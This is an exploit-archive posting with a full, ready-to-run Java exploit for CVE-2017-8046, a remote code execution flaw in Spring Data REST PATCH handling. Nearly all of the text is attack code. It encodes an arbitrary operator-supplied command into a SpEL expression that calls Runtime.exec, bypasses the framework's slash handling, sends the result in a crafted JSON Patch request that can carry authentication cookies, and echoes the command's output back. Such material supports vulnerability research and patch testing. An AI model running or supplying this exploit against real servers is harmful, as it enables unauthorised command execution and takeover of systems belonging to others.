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Spring Data REST PATCH Request Remote Code Execution

Spring Data REST PATCH Request Remote Code Execution
Posted Mar 15, 2018
Authored by Antonio Francesco Sardella

Spring Data REST versions prior to 2.6.9 (Ingalls SR9) and 3.0.1 (Kay SR1) suffer from a PATCH request remote code execution vulnerability.

tags | exploit, remote, code execution
advisories | CVE-2017-8046
SHA-256 | d1731be7e3c13eb181dffc18934b90d84ba2b0e795604b2cfbfe2829c85a1b0b

Spring Data REST PATCH Request Remote Code Execution

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// Exploit Title: RCE in PATCH requests in Spring Data REST
// Date: 2018-03-10
// Exploit Author: Antonio Francesco Sardella
// Vendor Homepage: https://pivotal.io/
// Software Link: https://projects.spring.io/spring-data-rest/
// Version: Spring Data REST versions prior to 2.6.9 (Ingalls SR9), 3.0.1 (Kay SR1)
// Tested on: 'Microsoft Windows 7' and 'Xubuntu 17.10.1' with 'spring-boot-starter-data-rest' version '1.5.6.RELEASE'
// CVE: CVE-2017-8046
// Category: Webapps
// Repository: https://github.com/m3ssap0/spring-break_cve-2017-8046
// Example Vulnerable Application: https://github.com/m3ssap0/SpringBreakVulnerableApp
// Vulnerability discovered and reported by: Man Yue Mo from Semmle and lgtm.com

package com.afs.exploit.spring;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.URI;
import java.net.URISyntaxException;

import org.apache.http.HttpResponse;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpPatch;
import org.apache.http.entity.StringEntity;
import org.apache.http.impl.client.HttpClientBuilder;

/**
* This is a Java program that exploits Spring Break vulnerability (CVE-2017-8046).
* This software is written to have as less external dependencies as possible.
* DISCLAIMER: This tool is intended for security engineers and appsec guys for security assessments. Please
* use this tool responsibly. I do not take responsibility for the way in which any one uses this application.
* I am NOT responsible for any damages caused or any crimes committed by using this tool.
* ..................
* . CVE-ID ........: CVE-2017-8046
* . Link ..........: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8046
* . Description ...: Malicious PATCH requests submitted to spring-data-rest servers in Pivotal Spring Data REST
* .................. versions prior to 2.5.12, 2.6.7, 3.0 RC3, Spring Boot versions prior to 2.0.0M4, and Spring
* .................. Data release trains prior to Kay-RC3 can use specially crafted JSON data to run arbitrary
* .................. Java code.
* ..................
*
* @author Antonio Francesco Sardella
*/
public class SpringBreakCve20178046 {

/**
* Version string.
*/
private static final String VERSION = "v1.0 (2018-03-10)";

/**
* The JSON Patch object.
*/
private static String JSON_PATCH_OBJECT = "[{ \"op\" : \"replace\", \"path\" : \"%s\", \"value\" : \"pwned\" }]";

/**
* This is a way to bypass the split and 'replace'
* logic performed by the framework on slashes.
*/
private static String SLASH = "T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))";

/**
* Used to encode chars.
*/
private static String CHAR_ENCODING = "T(java.lang.Character).toChars(%d)[0]";

/**
* Malicious payload.
*/
private static String PAYLOAD;

/**
* Malicious payload initialization.
*/
static {
PAYLOAD = "T(org.springframework.util.StreamUtils).copy(";
PAYLOAD += "T(java.lang.Runtime).getRuntime().exec(";
PAYLOAD += "(";
PAYLOAD += "T(java.lang.System).getProperty(\\\"os.name\\\").toLowerCase().contains(\\\"win\\\")";
PAYLOAD += "?";
PAYLOAD += "\\\"cmd \\\"+" + SLASH + "+\\\"c \\\"";
PAYLOAD += ":";
PAYLOAD += "\\\"\\\"";
PAYLOAD += ")+";
PAYLOAD += "%s"; // The encoded command will be placed here.
PAYLOAD += ").getInputStream()";
PAYLOAD += ",";
PAYLOAD += "T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes()";
PAYLOAD += ".getResponse().getOutputStream()";
PAYLOAD += ").x";
}

/**
* Error cause string that can be used to "clean the response."
*/
private static String ERROR_CAUSE = "{\"cause";

/**
* The target URL.
*/
private URI url;

/**
* The command that will be executed on the remote machine.
*/
private String command;

/**
* Cookies that will be passed.
*/
private String cookies;

/**
* Flag used to remove error messages in output due to
* the usage of the exploit. It could hide error messages
* if the request fails for other reasons.
*/
private boolean cleanResponse;

/**
* Verbosity flag.
*/
private boolean verbose;

/**
* Default constructor.
*/
public SpringBreakCve20178046() {
this.verbose = false;
this.cleanResponse = false;
}

/**
* Performs the exploit.
*
* @throws IOException
* If something bad occurs during HTTP GET.
*/
public void exploit() throws IOException {
checkInput();
printInput();
String payload = preparePayload();
String response = httpPatch(payload);
printOutput(response);
}

/**
* Checks the input.
*/
private void checkInput() {
if (this.url == null) {
throw new IllegalArgumentException("URL must be passed.");
}

if (isEmpty(this.command)) {
throw new IllegalArgumentException("Command must be passed.");
}
}

/**
* Prints input if verbose flag is true.
*/
private void printInput() {
if (isVerbose()) {
System.out.println("[*] Target URL ........: " + this.url);
System.out.println("[*] Command ...........: " + this.command);
System.out.println("[*] Cookies ...........: " + (isEmpty(this.cookies) ? "(no cookies)" : this.cookies));
}
}

/**
* Prepares the payload.
*
* @return The malicious payload that will be injected.
*/
private String preparePayload() {
System.out.println("[*] Preparing payload.");

String command = encodingCommand(); // Encoding inserted command.
String payload = String.format(PAYLOAD, command); // Preparing Java payload.
payload = String.format(JSON_PATCH_OBJECT, payload); // Placing payload into JSON Patch object.

if (isVerbose()) {
System.out.println("[*] Payload ...........: " + payload);
}

return payload;
}

/**
* Encodes the inserted command.
* PROS: No problems in interpreting things.
* CONS: Payload too long.
*
* @return The encoded command.
*/
private String encodingCommand() {
StringBuffer encodedCommand = new StringBuffer("T(java.lang.String).valueOf(new char[]{");

int commandLength = this.command.length();
for (int i = 0; i < commandLength; i++) {
encodedCommand.append(String.format(CHAR_ENCODING, (int) this.command.charAt(i)));
if (i + 1 < commandLength) {
encodedCommand.append(",");
}
}

encodedCommand.append("})");

if (isVerbose()) {
System.out.println("[*] Encoded command ...: " + encodedCommand.toString());
}

return encodedCommand.toString();
}

/**
* HTTP PATCH operation on the target passing the malicious payload.
*
* @param payload
* The malicious payload.
* @return The response as a string.
* @throws IOException
* If something bad occurs during HTTP GET.
*/
private String httpPatch(String payload) throws IOException {
System.out.println("[*] Sending payload.");

// Preparing PATCH operation.
HttpClient client = HttpClientBuilder.create().build();
HttpPatch patch = new HttpPatch(this.url);
patch.setHeader("User-Agent", "Mozilla/5.0");
patch.setHeader("Accept-Language", "en-US,en;q=0.5");
patch.setHeader("Content-Type", "application/json-patch+json"); // This is a JSON Patch.
if (!isEmpty(this.cookies)) {
patch.setHeader("Cookie", this.cookies);
}
patch.setEntity(new StringEntity(payload));

// Response string.
StringBuffer response = new StringBuffer();

// Executing PATCH operation.
HttpResponse httpResponse = client.execute(patch);
if (httpResponse != null) {

// Reading response code.
if (httpResponse.getStatusLine() != null) {
int responseCode = httpResponse.getStatusLine().getStatusCode();
System.out.println("[*] HTTP " + responseCode);
} else {
System.out.println("[!] HTTP response code can't be read.");
}

// Reading response content.
if (httpResponse.getEntity() != null && httpResponse.getEntity().getContent() != null) {
BufferedReader in = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent()));
String inputLine;

while ((inputLine = in.readLine()) != null) {
response.append(inputLine);
response.append(System.getProperty("line.separator"));
}
in.close();
} else {
System.out.println("[!] HTTP response content can't be read.");
}

} else {
System.out.println("[!] HTTP response is null.");
}

return response.toString();
}

/**
* Prints output.
*
* @param response
* Response that will be printed.
*/
private void printOutput(String response) {
if (!isEmpty(response)) {
System.out.println("[*] vvv Response vvv");

// Cleaning response (if possible).
if (isCleanResponse() && response.contains(ERROR_CAUSE)) {
String cleanedResponse = response.split("\\" + ERROR_CAUSE)[0];
System.out.println(cleanedResponse);
} else {
System.out.println(response);
}

System.out.println("[*] ^^^ ======== ^^^");
}
}

/**
* Checks if an input string is null/empty or not.
*
* @param input
* The input string to check.
* @return True if the string is null or empty, false otherwise.
*/
private boolean isEmpty(String input) {
boolean isEmpty;

if (input == null || input.trim().length() < 1) {
isEmpty = true;
} else {
isEmpty = false;
}

return isEmpty;
}

/* Getters and setters. */

public boolean isVerbose() {
return verbose;
}

public void setVerbose(boolean verbose) {
this.verbose = verbose;
}

public void setUrl(String url) throws URISyntaxException {
if (isEmpty(url)) {
throw new IllegalArgumentException("URL must be not null and not empty.");
}

this.url = new URI(url.trim());
}

public void setCommand(String command) {
if (isEmpty(command)) {
throw new IllegalArgumentException("Command must be not null and not empty.");
}

this.command = command.trim();
}

public void setCookies(String cookies) {
if (cookies != null) {
cookies = cookies.trim();
}

this.cookies = cookies;
}

public boolean isCleanResponse() {
return cleanResponse;
}

public void setCleanResponse(boolean cleanResponse) {
this.cleanResponse = cleanResponse;
}

/**
* Shows the program help.
*/
public static final void help() {
System.out.println("Usage:");
System.out.println(" java -jar spring-break_cve-2017-8046.jar [options]");
System.out.println("Description:");
System.out.println(" Exploiting 'Spring Break' Remote Code Execution (CVE-2017-8046).");
System.out.println("Options:");
System.out.println(" -h, --help");
System.out.println(" Prints this help and exits.");
System.out.println(" -u, --url [target_URL]");
System.out.println(" The target URL where the exploit will be performed.");
System.out.println(" You have to choose an existent resource.");
System.out.println(" -cmd, --command [command_to_execute]");
System.out.println(" The command that will be executed on the remote machine.");
System.out.println(" --cookies [cookies]");
System.out.println(" Optional. Cookies passed into the request, e.g. authentication cookies.");
System.out.println(" --clean");
System.out.println(" Optional. Removes error messages in output due to the usage of the");
System.out.println(" exploit. It could hide error messages if the request fails for other reasons.");
System.out.println(" -v, --verbose");
System.out.println(" Optional. Increase verbosity.");
}

/**
* Main method.
*
* @param args
* Input arguments
*/
public static void main(String[] args) {
try {
System.out.println("'Spring Break' RCE (CVE-2017-8046) - " + VERSION);
SpringBreakCve20178046 o = new SpringBreakCve20178046();

if (args.length > 0) {
for (int i = 0; i < args.length; i++) {

String p = args[i];

if (("-h".equals(p) || "--help".equals(p)) && i == 0) {
SpringBreakCve20178046.help();
return;
} else if ("-u".equals(p) || "--url".equals(p)) {

if (i + 1 > args.length - 1) {
throw new IllegalArgumentException("URL must be passed.");
}
o.setUrl(args[++i]);

} else if ("-cmd".equals(p) || "--command".equals(p)) {

if (i + 1 > args.length - 1) {
throw new IllegalArgumentException("Command must be passed.");
}
o.setCommand(args[++i]);

} else if ("--cookies".equals(p)) {

if (i + 1 > args.length - 1) {
throw new IllegalArgumentException("Cookies must be passed, if specified.");
}
o.setCookies(args[++i]);

} else if ("--clean".equals(p)) {
o.setCleanResponse(true);
} else if ("-v".equals(p) || "--verbose".equals(p)) {
o.setVerbose(true);
}

}

// Performing the exploit.
o.exploit();

} else { // Wrong number of arguments.
SpringBreakCve20178046.help();
return;
}

} catch (URISyntaxException use) {
System.out.println("[!] Input error (URI syntax exception): " + use.getMessage());
} catch (IllegalArgumentException iae) {
System.out.println("[!] Input error (illegal argument): " + iae.getMessage());
} catch (Exception e) {
System.out.println("[!] Unexpected exception: " + e.getMessage());
e.printStackTrace();
}
}

}

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